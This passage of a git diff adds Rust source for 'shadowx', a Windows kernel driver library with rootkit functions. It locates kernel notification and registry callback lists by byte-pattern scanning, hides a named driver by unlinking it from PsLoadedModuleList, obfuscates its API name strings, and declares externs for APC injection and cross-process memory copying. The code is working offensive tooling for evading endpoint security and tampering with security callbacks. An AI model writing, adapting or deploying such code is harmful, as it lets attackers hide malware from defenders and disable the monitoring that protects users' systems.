+ let length = core::cmp::min(buffer.len(), 255); + name[..length].copy_from_slice(&buffer[..length]); + + callbacks.push(CallbackInfoOutput { + index: callback.index as u8, + address: callback.address as usize, + name, + ..Default::default() + }); + + break; + } + + // Move to the next module + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset the module list pointer for the next callback + ldr_data = start_entry; + } + + Ok(callbacks) + } +} \ No newline at end of file diff --git a/crates/shadowx/src/callback/find_callback.rs b/crates/shadowx/src/callback/find_callback.rs new file mode 100644 index 0000000..f439315 --- /dev/null +++ b/crates/shadowx/src/callback/find_callback.rs @@ -0,0 +1,173 @@ +use { + obfstr::obfstr, + wdk_sys::{ + PsProcessType, PsThreadType, + ntddk::MmGetSystemRoutineAddress, + }, +}; + +use { + common::enums::Callbacks, + crate::{ + data::FULL_OBJECT_TYPE, + error::ShadowError, + utils::{ + patterns::scan_for_pattern, + uni::str_to_unicode + } + }, +}; + +/// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine. +/// +/// This function retrieves the address of the `PsSetCreateProcessNotifyRoutine` +/// by scanning memory for a specific pattern. +/// +/// # Returns +/// +/// * `Ok(*mut u8)` - The pointer to the routine's address if found. +/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning. +unsafe fn find_ps_create_process() -> Result<*mut u8, ShadowError> { + let mut name = str_to_unicode(obfstr!("PsSetCreateProcessNotifyRoutine")).to_unicode(); + let function_address = MmGetSystemRoutineAddress(&mut name); + + // call nt!PspSetCreateProcessNotifyRoutine (xxx) + let instructions = [0xE8]; + let psp_set_create_process = scan_for_pattern(function_address, &instructions, 1, 5, 0x14)?; + + let instructions = [0x4C, 0x8D, 0x2D]; + scan_for_pattern(psp_set_create_process as _, &instructions, 3, 7, 0x98) +} + +/// Finds the address of the `PsRemoveCreateThreadNotifyRoutine` routine. +/// +/// This function retrieves the address of the `PsRemoveCreateThreadNotifyRoutine` +/// by scanning memory for a specific pattern. +/// +/// # Returns +/// +/// * `Ok(*mut u8)` - The pointer to the routine's address if found. +/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning. +unsafe fn find_ps_create_thread() -> Result<*mut u8, ShadowError> { + let mut name = str_to_unicode(obfstr!("PsRemoveCreateThreadNotifyRoutine")).to_unicode(); + let function_address = MmGetSystemRoutineAddress(&mut name); + + // lea rcx,[nt!PspCreateThreadNotifyRoutine (xxx)] + let instructions = [0x48, 0x8D, 0x0D]; + scan_for_pattern(function_address, &instructions, 3, 7, 0x50) +} + +/// Finds the address of the `PsSetLoadImageNotifyRoutineEx` routine. +/// +/// This function retrieves the address of the `PsSetLoadImageNotifyRoutineEx` +/// by scanning memory for a specific pattern. +/// +/// # Returns +/// +/// * `Ok(*mut u8)` - The pointer to the routine's address if found. +/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning. +unsafe fn find_ps_load_image() -> Result<*mut u8, ShadowError> { + let mut name = str_to_unicode(obfstr!("PsSetLoadImageNotifyRoutineEx")).to_unicode(); + let function_address = MmGetSystemRoutineAddress(&mut name); + + // lea rcx,[nt!PspLoadImageNotifyRoutine (xxx)] + let instructions = [0x48, 0x8D, 0x0D]; + scan_for_pattern(function_address, &instructions, 3, 7, 0x50) +} + +/// Finds the address of the `CmRegisterCallbackEx` routine. +/// +/// This function retrieves the address of the `CmRegisterCallbackEx` routine +/// and other related components such as the callback list lock, callback list head, +/// and the callback count, by scanning memory for specific patterns. +/// +/// # Returns +/// +/// * `Ok((*mut u8, *mut u8, *mut u8))` - A tuple containing the callback list head, callback count, +/// and the callback list lock if found. +/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning. +unsafe fn find_cm_register_callback() -> Result<(*mut u8, *mut u8, *mut u8), ShadowError> { + let mut name = str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode(); + let function_address = MmGetSystemRoutineAddress(&mut name); + + // call nt!CmpRegisterCallbackInternal + let register_internal_pattern = [0xE8]; + let register_callback_internal = scan_for_pattern(function_address, ®ister_internal_pattern, 1, 5, 0x50)?; + + // call nt!CmpInsertCallbackInListByAltitude + let insert_pattern: [u8; 3] = [0x8B, 0xCB, 0xE8]; + let insert_call_address = scan_for_pattern(register_callback_internal as _, &insert_pattern, 3, 7, 0x108)?; + + // lea rcx,[nt!CmpCallbackListLock (xxx)] + let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D]; + let callback_list_lock = scan_for_pattern(insert_call_address as _, &cmp_callback_list_lock_pattern, 3, 7, 0x200)?; + + // lea r15,[nt!CallbackListHead (xxx)] + let callback_list_head_pattern = [0x4C, 0x8D, 0x3D]; + let callback_list_header = scan_for_pattern(insert_call_address as _, &callback_list_head_pattern, 3, 7, 0x200)?; + + // lock inc dword ptr [nt!CmpCallBackCount (xxx)] + let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05]; + let callback_count = scan_for_pattern(insert_call_address as _, &cmp_callback_count_pattern, 3, 7, 0x200)?; + + Ok((callback_list_header, callback_count, callback_list_lock)) +} + +/// Finds the address of the `ObRegisterCallbacks` routine. +/// +/// This function retrieves the address of either the `ObProcess` or `ObThread` callbacks +/// based on the provided callback type. +/// +/// # Arguments +/// +/// * `callback` - A reference to the `Callbacks` enum specifying the target callback. +/// +/// # Returns +/// +/// * `Ok(*mut FULL_OBJECT_TYPE)` - The pointer to the object type associated with the callback if found. +/// * `Err(ShadowError)` - If the callback type is not recognized or an error occurs. +pub fn find_ob_register_callback(callback: &Callbacks) -> Result<*mut FULL_OBJECT_TYPE, ShadowError> { + match callback { + Callbacks::ObProcess => Ok(unsafe { (*PsProcessType) as *mut FULL_OBJECT_TYPE }), + Callbacks::ObThread => Ok(unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE }), + _ => Err(ShadowError::PatternNotFound) + } +} + +/// Finds the address of the specified callback routine. +/// +/// This function dispatches the search based on the callback type, calling the appropriate +/// function to retrieve the address of the desired callback. +/// +/// # Arguments +/// +/// * `callback` - A reference to the `Callbacks` enum specifying the target callback. +/// +/// # Returns +/// +/// * `Ok(CallbackResult)` - A result containing the address of the callback or related components. +/// * `Err(ShadowError)` - If the callback is not found or an error occurs. +pub unsafe fn find_callback_address(callback: &Callbacks) -> Result { + match callback { + Callbacks::PsSetCreateProcessNotifyRoutine => find_ps_create_process().map(CallbackResult::Notify), + Callbacks::PsSetCreateThreadNotifyRoutine => find_ps_create_thread().map(CallbackResult::Notify), + Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image().map(CallbackResult::Notify), + Callbacks::CmRegisterCallbackEx => find_cm_register_callback().map(CallbackResult::Registry), + Callbacks::ObProcess | Callbacks::ObThread => find_ob_register_callback(callback).map(CallbackResult::Object), + } +} + +/// Enum representing the return types for various callback searches. +/// +/// This enum holds the result of searching for a specific callback routine. +/// The variants store the associated memory addresses for the found callbacks. +pub enum CallbackResult { + /// Holds the address for process/thread/image creation notifications. + Notify(*mut u8), + + /// Holds the addresses for the registry callback, including the callback list and callback count. + Registry((*mut u8, *mut u8, *mut u8)), + + /// Holds the address for object process/thread callbacks. + Object(*mut FULL_OBJECT_TYPE), +} \ No newline at end of file diff --git a/crates/shadowx/src/callback/mod.rs b/crates/shadowx/src/callback/mod.rs new file mode 100644 index 0000000..2b9dea5 --- /dev/null +++ b/crates/shadowx/src/callback/mod.rs @@ -0,0 +1,6 @@ +/// This module provides custom callback functions and utilities. +pub mod find_callback; + +/// This module implements various types of callbacks used throughout the project. +pub mod callbacks; +pub use callbacks::*; \ No newline at end of file diff --git a/driver/src/internals/enums.rs b/crates/shadowx/src/data/enums.rs similarity index 100% rename from driver/src/internals/enums.rs rename to crates/shadowx/src/data/enums.rs diff --git a/crates/shadowx/src/data/externs.rs b/crates/shadowx/src/data/externs.rs new file mode 100644 index 0000000..7d39703 --- /dev/null +++ b/crates/shadowx/src/data/externs.rs @@ -0,0 +1,68 @@ +use super::*; +use wdk_sys::*; + +extern "C" { + pub static mut IoDriverObjectType: *mut *mut _OBJECT_TYPE; +} + +extern "system" { + pub fn PsGetProcessPeb(ProcessId: PEPROCESS) -> PPEB; + + pub fn PsGetCurrentThread() -> PETHREAD; + + pub fn IoCreateDriver( + DriverName: PUNICODE_STRING, + DriverInitialize: types::DRIVER_INITIALIZE, + ) -> NTSTATUS; + + pub fn ZwProtectVirtualMemory( + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + RegionSize: PSIZE_T, + NewProtect: ULONG, + OldProtect: PULONG + ) -> NTSTATUS; + + pub fn MmCopyVirtualMemory( + SourceProcess: PEPROCESS, + SourceAddress: PVOID, + TargetProcess: PEPROCESS, + TargetAddress: PVOID, + BufferSize: SIZE_T, + PreviousMode: KPROCESSOR_MODE, + ReturnSize: PSIZE_T, + ); + + pub fn KeInitializeApc( + APC: PRKAPC, + Thread: PETHREAD, + Environment: enums::KAPC_ENVIROMENT, + KernelRoutine: types::PKKERNEL_ROUTINE, + RundownRoutine: types::PKRUNDOWN_ROUTINE, + NormalRoutine: types::PKNORMAL_ROUTINE, + ApcMode: KPROCESSOR_MODE, + NormalContext: PVOID + ); + + pub fn KeTestAlertThread( + AlertMode: KPROCESSOR_MODE + ); + + pub fn KeInsertQueueApc( + APC: PRKAPC, + SystemArgument1: PVOID, + SystemArgument2: PVOID, + Increment: KPRIORITY + ) -> bool; + + pub fn ObReferenceObjectByName( + ObjectName: PUNICODE_STRING, + Attributes: u32, + AccessState: PACCESS_STATE, + DesiredAccess: ACCESS_MASK, + ObjectType: POBJECT_TYPE, + AccessMode: KPROCESSOR_MODE, + ParseContext: PVOID, + Object: *mut PVOID, + ) -> NTSTATUS; +} diff --git a/crates/shadowx/src/data/mod.rs b/crates/shadowx/src/data/mod.rs new file mode 100644 index 0000000..45f1c4d --- /dev/null +++ b/crates/shadowx/src/data/mod.rs @@ -0,0 +1,13 @@ +#![allow(non_camel_case_types, non_snake_case)] + +pub mod structs; +pub use structs::*; + +pub mod types; +pub use types::*; + +pub mod externs; +pub use externs::*; + +pub mod enums; +pub use enums::*; \ No newline at end of file diff --git a/crates/shadowx/src/data/structs.rs b/crates/shadowx/src/data/structs.rs new file mode 100644 index 0000000..bc826fe --- /dev/null +++ b/crates/shadowx/src/data/structs.rs @@ -0,0 +1,399 @@ +use { + wdk_sys::*, + bitfield::bitfield, + common::enums::Callbacks, + core::{ffi::c_void, mem::ManuallyDrop}, +}; + + +use super::COMUNICATION_TYPE; + +bitfield! { + pub struct PS_PROTECTION(u8); + pub u8, Type, SetType: 2, 0; + pub u8, Audit, SetAudit: 3; + pub u8, Signer, SetSigner: 7, 4; +} + +#[repr(C)] +pub struct PROCESS_SIGNATURE { + pub SignatureLevel: u8, + pub SectionSignatureLevel: u8, + pub Protection: PS_PROTECTION, +} + +#[repr(C)] +#[derive(Debug, Clone, Copy)] +pub struct SystemModuleInformation { + pub ModuleCount: u32, + pub Modules: [SystemModule; 256], +} + +#[repr(C)] +#[derive(Debug, Clone, Copy)] +pub struct SystemModule { + pub Section: *mut c_void, + pub MappedBase: *mut c_void, + pub ImageBase: *mut c_void, + pub Size: u32, + pub Flags: u32, + pub Index: u8, + pub NameLength: u8, + pub LoadCount: u8, + pub PathLength: u8, + pub ImageName: [u8; 256], +} + +#[repr(C)] +pub struct MMVAD_SHORT { + pub VadNode: RTL_BALANCED_NODE, + pub StartingVpn: u32, + pub EndingVpn: u32, + pub StartingVpnHigh: u8, + pub EndingVpnHigh: u8, + pub CommitChargeHigh: u8, + pub SpareNT64VadUChar: u8, + pub ReferenceCount: i32, + pub PushLock: usize, + pub u: MMVAD_SHORT_0, + pub u1: MMVAD_SHORT_0_0, + pub u5: MMVAD_SHORT_0_0_0, +} + +#[repr(C)] +pub union MMVAD_SHORT_0 { + pub LongFlags: u32, + pub VadFlags: ManuallyDrop, + pub PrivateVadFlags: ManuallyDrop, + pub GraphicsVadFlags: ManuallyDrop, + pub SharedVadFlags: ManuallyDrop, + pub VolatileLong: u32, +} + +#[repr(C)] +pub union MMVAD_SHORT_0_0 { + pub LongFlags1: u32, + pub VadFlags1: ManuallyDrop, +} + +#[repr(C)] +pub union MMVAD_SHORT_0_0_0 { + pub EventListUlongPtr: u64, + pub StartingVpnHigher: u8, +} + +#[repr(C)] +pub struct SUBSECTION { + pub ControlArea: *mut CONTROL_AREA, +} + +#[repr(C)] +pub struct CONTROL_AREA { + Segment: *mut *mut c_void, + ListOrAweContext: LIST_OR_AWE_CONTEXT, + NumberOfSectionReferences: u64, + NumberOfPfnReferences: u64, + NumberOfMappedViews: u64, + NumberOfUserReferences: u64, + u: CONTROL_AREA_0, + u1: CONTROL_AREA_0_0, + pub FilePointer: EX_FAST_REF +} + +#[repr(C)] +pub struct EX_FAST_REF { + pub Inner: EX_FAST_REF_INNER, +} + +#[repr(C)] +pub union EX_FAST_REF_INNER { + pub Object: *mut c_void, + pub Value: u64, +} + +#[repr(C)] +pub union CONTROL_AREA_0 { + LongFlags: u32, + Flags: u32, +} + +#[repr(C)] +pub union CONTROL_AREA_0_0 { + LongFlags: u32, + Flags: u32, +} + +#[repr(C)] +pub union LIST_OR_AWE_CONTEXT { + ListHead: LIST_ENTRY, + AweContext: *mut c_void, +} + +#[repr(C)] +pub struct MMVAD { + Core: MMVAD_SHORT, + u2: MMVAD_0, + pub SubSection: *mut SUBSECTION +} + +#[repr(C)] +pub union MMVAD_0 { + LongFlags2: u32, + VadFlags2: ManuallyDrop +} + +bitfield! { + #[repr(C)] + pub struct MMVAD_FLAGS(u32); + impl Debug; + u32; + pub Lock, SetLock: 0; + pub LockContended, SetLockContended: 1; + pub DeleteInProgress, SetDeleteInProgress: 2; + pub NoChange, SetNoChange: 3; + pub VadType, SetVadType: 6, 4; + pub Protection, SetProtection: 11, 7; + pub PreferredNode, SetPreferredNode: 18, 12; + pub PageSize, SetPageSize: 19, 20; + pub PrivateMemory, SetPrivateMemory: 21; +} + +bitfield! { + #[repr(C)] + pub struct MMVAD_FLAGS1(u32); + impl Debug; + pub CommitCharge, SetCommitCharge: 30, 0; + pub MemCommit, SetMemCommit: 31; +} + +bitfield! { + #[repr(C)] + pub struct MMVAD_FLAGS2(u32); + impl Debug; + u32; + pub FileOffset, SetFileOffset: 0, 23; + pub Large, SetLarge: 24; + pub TrimBehind, SetTrimBehind: 25; + pub Inherit, SetInherit: 26; + pub NoValidationNeeded, SetNoValidationNeeded: 27; + pub PrivateDemandZEro, SetPrivateDemandZero: 28; + pub Spare, SetSpare: 29, 31; +} + +bitfield! { + #[repr(C)] + pub struct MM_SHARED_VAD_FLAGS(u32); + impl Debug; + u32; + pub Lock, SetLock: 1; + pub LockContended, SetLockContended: 1; + pub DeleteInProgress, SetDeleteInProgress: 1; + pub NoChange, SetNoChange: 1; + pub VadType, SetVadType: 6, 4; + pub Protection, SetProtection: 11, 7; + pub PreferredNode, SetPreferredNode: 18, 12; + pub PageSize, SetPageSize: 19, 20; + pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21; + pub PrivateFixup, SetPrivateFixup: 22; + pub HotPatchState, SetHotPatchState: 24, 23; +} + +bitfield! { + #[repr(C)] + pub struct MM_PRIVATE_VAD_FLAGS(u32); + impl Debug; + u32; + pub Lock, SetLock: 1; + pub LockContended, SetLockContended: 1; + pub DeleteInProgress, SetDeleteInProgress: 1; + pub NoChange, SetNoChange: 1; + pub VadType, SetVadType: 6, 4; + pub Protection, SetProtection: 11, 7; + pub PreferredNode, SetPreferredNode: 18, 12; + pub PageSize, SetPageSize: 19, 20; + pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21; + pub Writewatch, setWrite: 22; + pub FixedLargePageSize, SetPageLarge: 23; + pub ZeroFillPagesOptional, SetZeroFill: 24; + pub Graphics, SetGraphics: 25; + pub Enclave, SetEnclave: 26; + pub ShadowStack, SetShadowStack: 27; + pub PhysicalMemoryPfnsReferenced, SetPhysical: 28; +} + +bitfield! { + #[repr(C)] + pub struct MM_GRAPHICS_VAD_FLAGS(u32); + impl Debug; + u32; + pub Lock, SetLock: 1; + pub LockContended, SetLockContended: 1; + pub DeleteInProgress, SetDeleteInProgress: 1; + pub NoChange, SetNoChange: 1; + pub VadType, SetVadType: 6, 4; + pub Protection, SetProtection: 11, 7; + pub PreferredNode, SetPreferredNode: 18, 12; + pub PageSize, SetPageSize: 19, 20; + pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21; + pub Writewatch, setWrite: 22; + pub FixedLargePageSize, SetPageLarge: 23; + pub ZeroFillPagesOptional, SetZeroFill: 24; + pub GraphicsAlwaysSet, SetGraphicsAlwaysSet: 25; + pub GraphicsUseCoherent, SetGraphicsUseCoherent: 26; + pub GraphicsNoCache, SetGraphicsNoCache: 27; + pub GraphicsPageProtection, SetGraphicsPageProtection: 30, 28; +} + +#[repr(C)] +pub struct TRACE_ENABLE_INFO { + pub IsEnabled: u32, + pub Level: u8, + pub Reserved1: u8, + pub LoggerId: u16, + pub EnableProperty: u32, + pub Reserved2: u32, + pub MatchAnyKeyword: u64, + pub MatchAllKeyword: u64 +} + + +#[repr(C)] +#[derive(Debug)] +pub struct NSI_TCP_ENTRY { + pub Reserved1: [u8; 2], + pub Port: u16, + pub IpAddress: u32, + pub IpAddress6: [u8; 16], + pub Reserved2: [u8; 4] +} + +#[repr(C)] +#[derive(Debug)] +pub struct NSI_TABLE_TCP_ENTRY { + pub Local: NSI_TCP_ENTRY, + pub Remote: NSI_TCP_ENTRY +} + +#[repr(C)] +pub struct NSI_UDP_ENTRY { + pub Reserved1: [u8; 2], + pub Port: u16, + pub IpAddress: u32, + pub IpAddress6: [u8; 16], + pub Reserved2: [u8; 4] +} + +#[repr(C)] +pub struct NSI_PARAM { + pub Reserved1: usize, + pub Reverved2: usize, + pub ModuleId: *mut core::ffi::c_void, + pub Type_: COMUNICATION_TYPE, + pub Reserved3: u32, + pub Reserved4: u32, + pub Entries: *mut core::ffi::c_void, + pub EntrySize: usize, + pub Reserved5: *mut core::ffi::c_void, + pub Reserved6: usize, + pub StatusEntries: *mut NSI_STATUS_ENTRY, + pub Reserved7: usize, + pub ProcessEntries: *mut NSI_PROCESS_ENTRY, + pub ProcessEntrySize: usize, + pub Count: usize +} + +#[repr(C)] +pub struct NSI_STATUS_ENTRY { + pub State: u32, + pub Reserved: [u8; 8] +} + +#[repr(C)] +pub struct NSI_PROCESS_ENTRY { + pub UdpProcessId: u32, + pub Reserved1: u32, + pub Reserved2: u32, + pub TcpProcessId: u32, + pub Reserved3: u32, + pub Reserved4: u32, + pub Reserved5: u32, + pub Reserved6: u32 +} + +#[repr(C)] +pub struct FULL_OBJECT_TYPE { + pub TypeList: LIST_ENTRY, + pub Name: UNICODE_STRING, + pub DefaultObject: *mut c_void, + pub Index: u8, + pub TotalNumberOf_Objects: u32, + pub TotalNumberOfHandles: u32, + pub HighWaterNumberOfObjects: u32, + pub HighWaterNumberOfHandles: u32, + pub TypeInfo: [u8; 0x78], + pub TypeLock: _EX_PUSH_LOCK, + pub Key: u32, + pub CallbackList: LIST_ENTRY, +} + +bitfield! { + pub struct _EX_PUSH_LOCK(u64); + impl Debug; + u64; + Locked, SetLocked: 0; + Waiting, SetWaiting: 1; + Waking, Setwaking: 2; + MultipleShared, SetMultipleShared: 3; + Shared, SetShared: 63, 4; +} + +#[repr(C)] +#[derive(Default)] +pub struct CallbackRestaure { + pub index: usize, + pub callback: Callbacks, + pub address: u64, +} + +#[repr(C)] +#[derive(Default)] +pub struct CallbackRestaureOb{ + pub index: usize, + pub callback: Callbacks, + pub pre_operation: u64, + pub post_operation: u64, + pub entry: u64, +} + +#[repr(C)] +#[derive(Debug, Clone, Copy)] +pub struct CM_CALLBACK { + pub List: LIST_ENTRY, + pub Unknown1: [u64; 2], + pub Context: u64, + pub Function: u64, + pub Altitude: UNICODE_STRING, + pub Unknown2: [u64; 2], +} + +#[repr(C)] +pub struct OBCALLBACK_ENTRY { + pub CallbackList: LIST_ENTRY, + pub Operations: OB_OPERATION, + pub Enabled: bool, + pub Entry: *mut OB_CALLBACK, + pub ObjectType: POBJECT_TYPE, + pub PreOperation: POB_PRE_OPERATION_CALLBACK, + pub PostOperation: POB_POST_OPERATION_CALLBACK, + pub Lock: KSPIN_LOCK +} + +#[repr(C)] +pub struct OB_CALLBACK { + pub Version: u16, + pub OperationRegistrationCount: u16, + pub RegistrationContext: *mut c_void, + pub AltitudeString: UNICODE_STRING, + pub EntryItems: [OBCALLBACK_ENTRY; 1], + pub AltitudeBuffer: [u16; 1], +} \ No newline at end of file diff --git a/driver/src/internals/types.rs b/crates/shadowx/src/data/types.rs similarity index 69% rename from driver/src/internals/types.rs rename to crates/shadowx/src/data/types.rs index 25993f5..aafda3d 100644 --- a/driver/src/internals/types.rs +++ b/crates/shadowx/src/data/types.rs @@ -1,5 +1,7 @@ -use super::*; +#![allow(non_camel_case_types)] + use wdk_sys::*; +use ntapi::ntpsapi::PPS_ATTRIBUTE_LIST; pub type DRIVER_INITIALIZE = core::option::Option NTSTATUS; pub type PKRUNDOWN_ROUTINE = Option NTSTATUS>; pub type PKNORMAL_ROUTINE = Option NTSTATUS>; pub type PKKERNEL_ROUTINE = unsafe extern "system" fn( - apc: PKAPC, - normal_routine: *mut PKNORMAL_ROUTINE, - normal_context: *mut PVOID, - system_argument1: *mut PVOID, - system_argument2: *mut PVOID + APC: PKAPC, + NormalRoutine: *mut PKNORMAL_ROUTINE, + NormalContext: *mut PVOID, + SystemArgument1: *mut PVOID, + SystemArgument2: *mut PVOID ); \ No newline at end of file diff --git a/crates/shadowx/src/driver.rs b/crates/shadowx/src/driver.rs new file mode 100644 index 0000000..b57db6d --- /dev/null +++ b/crates/shadowx/src/driver.rs @@ -0,0 +1,177 @@ +use { + obfstr::obfstr, + common::structs::DriverInfo, + crate::{error::ShadowError, uni}, + alloc::{string::{String, ToString}, vec::Vec}, + ntapi::ntldr::{LDR_DATA_TABLE_ENTRY, PLDR_DATA_TABLE_ENTRY}, + wdk_sys::{ + ntddk::MmGetSystemRoutineAddress, + LIST_ENTRY, NTSTATUS, PLIST_ENTRY, + STATUS_SUCCESS + } +}; + +/// Represents driver manipulation operations. +/// +/// The `Driver` struct provides methods to hide and unhide kernel drivers +/// by modifying the `PsLoadedModuleList`, which tracks loaded drivers in the system. +pub struct Driver; + +impl Driver { + /// Hides a specified driver from the PsLoadedModuleList. + /// + /// This function iterates over the `PsLoadedModuleList` to find a driver whose name matches + /// the provided `driver_name`. Once found, the driver is unlinked from the list, effectively hiding it + /// from tools that inspect the loaded drivers list. + /// + /// # Arguments + /// + /// * `driver_name` - A string slice containing the name of the driver to hide. + /// + /// # Returns + /// + /// * `Ok((LIST_ENTRY, LDR_DATA_TABLE_ENTRY))` - Returns a tuple containing the previous `LIST_ENTRY` + /// and the `LDR_DATA_TABLE_ENTRY` of the hidden driver, which can be used later to restore the driver in the list. + /// * `Err(ShadowError)` - If the driver is not found or a failure occurs during the process. + pub unsafe fn hide_driver(driver_name: &str) -> Result<(LIST_ENTRY, LDR_DATA_TABLE_ENTRY), ShadowError> { + // Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address + let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList")); + + // Get the address of the PsLoadedModuleList, which contains the list of loaded drivers + let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY; + if ldr_data.is_null() { + return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY")); + } + + let list_entry = ldr_data as *mut LIST_ENTRY; + let mut next = (*ldr_data).InLoadOrderLinks.Flink as *mut LIST_ENTRY; + + // Iterate through the loaded module list to find the target driver + while next != list_entry { + let current = next as *mut LDR_DATA_TABLE_ENTRY; + + // Convert the driver name from UTF-16 to a Rust string + let buffer = core::slice::from_raw_parts((*current).BaseDllName.Buffer, ((*current).BaseDllName.Length / 2) as usize); + let name = String::from_utf16_lossy(buffer); + + // Check if the current driver matches the target driver + if name.contains(driver_name) { + // The next driver in the chain + let next = (*current).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + + // The previous driver in the chain + let previous = (*current).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY; + + // Storing the previous list entry, which will be returned + let previous_link = LIST_ENTRY { + Flink: next as *mut LIST_ENTRY, + Blink: previous as *mut LIST_ENTRY, + }; + + // Unlink the current driver + (*next).InLoadOrderLinks.Blink = previous as *mut winapi::shared::ntdef::LIST_ENTRY; + (*previous).InLoadOrderLinks.Flink = next as *mut winapi::shared::ntdef::LIST_ENTRY; + + // Make the current driver point to itself to "hide" it + (*current).InLoadOrderLinks.Flink = current as *mut winapi::shared::ntdef::LIST_ENTRY; + (*current).InLoadOrderLinks.Blink = current as *mut winapi::shared::ntdef::LIST_ENTRY; + + return Ok((previous_link, *current)) + } + + next = (*next).Flink; + } + + // Return an error if the driver is not found + Err(ShadowError::DriverNotFound(driver_name.to_string())) + } + + /// Unhides a previously hidden driver by restoring it to the `PsLoadedModuleList`. + /// + /// This function takes a previously hidden driver's `LIST_ENTRY` and `LDR_DATA_TABLE_ENTRY` + /// and restores it back into the module list, making it visible again. + /// + /// # Arguments + /// + /// * `driver_name` - The name of the driver to unhide. + /// * `list_entry` - A pointer to the `LIST_ENTRY` that was saved when the driver was hidden. + /// * `driver_entry` - A pointer to the `LDR_DATA_TABLE_ENTRY` of the hidden driver. + /// + /// # Returns + /// + /// * `Ok(STATUS_SUCCESS)` - If the driver is successfully restored to the list. + /// * `Err(ShadowError)` - If an error occurs during the restoration process. + pub unsafe fn unhide_driver(driver_name: &str, list_entry: PLIST_ENTRY, driver_entry: PLDR_DATA_TABLE_ENTRY) -> Result { + // Restore the driver's link pointers + (*driver_entry).InLoadOrderLinks.Flink = (*list_entry).Flink as *mut winapi::shared::ntdef::LIST_ENTRY; + (*driver_entry).InLoadOrderLinks.Blink = (*list_entry).Blink as *mut winapi::shared::ntdef::LIST_ENTRY; + + // Link the driver back into the list + let next = (*driver_entry).InLoadOrderLinks.Flink; + let previous = (*driver_entry).InLoadOrderLinks.Blink; + + (*next).Blink = driver_entry as *mut winapi::shared::ntdef::LIST_ENTRY; + (*previous).Flink = driver_entry as *mut winapi::shared::ntdef::LIST_ENTRY; + + Ok(STATUS_SUCCESS) + } + + /// Enumerates all drivers currently loaded in the kernel. + /// + /// This function iterates over the `PsLoadedModuleList` to gather information about all + /// currently loaded drivers, such as their name, base address, and index. It stores the + /// gathered information in a `Vec` which is returned to the caller. + /// + /// # Returns + /// + /// * `Ok(Vec)` - A vector of `DriverInfo` structs, each containing the name, base address, + /// and index of a loaded driver. + /// * `Err(ShadowError)` - If the function fails to access the `PsLoadedModuleList` or any other + /// errors occur during the process. + pub unsafe fn enumerate_driver() -> Result, ShadowError> { + let mut drivers: Vec = Vec::with_capacity(276); + + // Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address + let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList")); + + // Get the address of the PsLoadedModuleList, which contains the list of loaded drivers + let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY; + if ldr_data.is_null() { + return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY")); + } + + let current = ldr_data as *mut winapi::shared::ntdef::LIST_ENTRY; + let mut next = (*ldr_data).InLoadOrderLinks.Flink; + let mut count = 0; + + // Iterate over the list of loaded drivers + while next != current { + let ldr_data_entry = next as *mut LDR_DATA_TABLE_ENTRY; + + // Get the driver name from the `BaseDllName` field, converting it from UTF-16 to a Rust string + let buffer = core::slice::from_raw_parts( + (*ldr_data_entry).BaseDllName.Buffer, + ((*ldr_data_entry).BaseDllName.Length / 2) as usize, + ); + + // Prepare the name buffer, truncating if necessary to fit the 256-character limit + let mut name = [0u16; 256]; + let length = core::cmp::min(buffer.len(), 255); + name[..length].copy_from_slice(&buffer[..length]); + + // Populates the `DriverInfo` structure with name, address, and index + drivers.push(DriverInfo { + name, + address: (*ldr_data_entry).DllBase as usize, + index: count as u8, + }); + + count += 1; + + // Move to the next driver in the list + next = (*next).Flink; + } + + Ok(drivers) + } +} diff --git a/crates/shadowx/src/error.rs b/crates/shadowx/src/error.rs new file mode 100644 index 0000000..c6b533b --- /dev/null +++ b/crates/shadowx/src/error.rs @@ -0,0 +1,150 @@ +use alloc::string::String; +use thiserror_no_std::Error; + +#[derive(Debug, Error)] +pub enum ShadowError { + /// Represents an error where an API call failed. + /// + /// * `{0}` - The name of the API. + /// * `{1}` - The status code returned by the API. + #[error("{0} Failed With Status: {1}")] + ApiCallFailed(&'static str, i32), + + /// Represents an error where a function execution failed at a specific line. + /// + /// * `{0}` - The name of the function. + /// * `{1}` - The line number where the function failed. + #[error("{0} function failed on the line: {1}")] + FunctionExecutionFailed(&'static str, u32), + + /// Error when a process with a specific identifier is not found. + /// + /// This error is returned when the system cannot locate a process with the given + /// identifier (e.g., PID or process name). + /// + /// * `{0}` - The identifier of the process that was not found. + #[error("Process with identifier {0} not found")] + ProcessNotFound(String), + + /// Error when a thread with a specific TID is not found. + /// + /// This error occurs when a thread with the specified TID cannot be located in the system. + /// + /// * `{0}` - The thread identifier (TID) that was not found. + #[error("Thread with TID {0} not found")] + ThreadNotFound(usize), + + /// Represents an invalid device request error. + /// + /// This error occurs when an invalid or unsupported request is made to a device. + #[error("Invalid Device Request")] + InvalidDeviceRequest, + + /// Represents an error where a null pointer was encountered. + /// + /// This error occurs when a null pointer is encountered during an operation that + /// requires a valid memory reference. + /// + /// * `{0}` - The name of the pointer that was null. + #[error("Pointer is null: {0}")] + NullPointer(&'static str), + + /// Represents an error where a string conversion from a raw pointer failed. + /// + /// 